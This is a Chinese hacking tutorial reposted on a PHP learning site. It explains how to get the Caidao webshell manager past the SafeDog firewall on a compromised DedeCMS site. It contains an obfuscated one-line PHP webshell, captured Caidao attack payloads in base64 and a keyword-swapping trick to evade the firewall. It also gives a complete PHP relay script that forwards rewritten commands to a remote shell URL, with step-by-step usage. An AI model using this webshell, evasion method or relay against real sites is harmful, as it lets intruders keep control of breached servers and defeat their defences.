来源:自学PHP网 时间:2015-04-16 23:15 作者: 阅读:次
[导读] 需要准备的东西:**************************************原版菜刀一个PHP+Apache运行环境过狗一句话一个 如?php $x=base64_decode(YXNzZXJ0);$x($_POST[ 39;c 39;]);?;或者?php $_GET[c]$_POST[c];*...
需要准备的东西:
************************************** 原版菜刀一个 PHP+Apache运行环境 过狗一句话一个 如<?php $x=base64_decode("YXNzZXJ0");$x($_POST['c']);?>; 或者<?php $_GET[c]$_POST[c];> ************************************ 思路: 今天碰到一个dede的站 ,发现getshell后用菜刀连接失败,就连乌云大牛@俺是农村的 写的webshell管理工具也无法连接 所以就来研究一下,看看安全狗到底拦截什么!! 于是打开抓包工具开始抓菜刀连接时候的包 此时抓到的包是 c=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=1f3U2tTYyOu7%2BbG%2B0MXPoi4uLlxc 然后打开火狐浏览器 用hackbar来试着搞 奶奶的,被某狗咬了! 难道狗是拦截POST数据里面的eval() ?? 于是把eval换成assert试试 换了虽然不拦截了 ,但是啥回显也没有 貌似不能这么写 还是换成eval吧 最后各种尝试 终于发现狗拦截什么关键字了!!! 拦截的正是eval(base64_decode 所以我只需要变通一下,把base64_decode换成别的不就行了么? 根据php的灵活性 我这里把base64_decode改成$_GET[1141056911] 然后用这时候get的参数是http://www.xcom/plus/helen.php?1141056911=base64_decode 这时候post的参数是 c=@eval($_GET[1141056911]($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=1f3U2tTYyOu7%2BbG%2B0MXPoi4uLlxc 然后我们看下效果 看吧成功执行,而且狗傻逼了 于是左思又想,本菜不会逆向怎么办,不会改菜刀啊!! - -! 终于灵光一闪,咱用PHP写个中转脚本不就行了! 用PHP接收菜刀的post然后把post里面的base64_decode替换掉 如下代码 <?php $webshell="http://www.phpinfo.me/plus/helen.php";//把这里改成你的shell地址 $webshell=$webshell."?&1141056911=base64_decode"; $da=$_POST; $data = $da; @$data=str_replace("base64_decode(",'$_GET[1141056911](',$data); //接收菜刀的post,并把base64_decode替换成$_GET[1141056911]( //print_r($data); $data = http_build_query($data); $opts = array ( 'http' => array ( 'method' => 'POST', 'header'=> "Content-type: application/x-www-form-urlencoded\r\n" . "Content-Length: " . strlen($data) . "\r\n", 'content' => $data) ); $context = stream_context_create($opts); $html = @file_get_contents($webshell, false, $context); //发送post echo $html; ?> 用法: 把$webshell改成你的webshell地址 然后把代码保存为1234.php放到你本地的php环境里 然后直接丢菜刀连接 shell密码还是原本的密码 然后你会发现成功杀掉狗 小菜文章 大牛勿喷... |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com